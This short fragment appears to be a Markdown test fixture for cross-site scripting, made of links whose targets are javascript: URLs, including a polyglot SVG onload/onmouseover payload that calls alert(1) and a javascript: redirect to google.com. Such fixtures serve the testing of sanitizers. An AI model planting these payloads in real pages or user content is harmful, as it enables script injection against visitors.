[click me](javascript:ok())
qua
[hover](javascript:/--><svg/onload='+/"/+/onmouseover=1/+/[/[]/+alert(1)//'>)
)
or me
XSS
[howdy](javascript:document.location='http://www.google.com/')
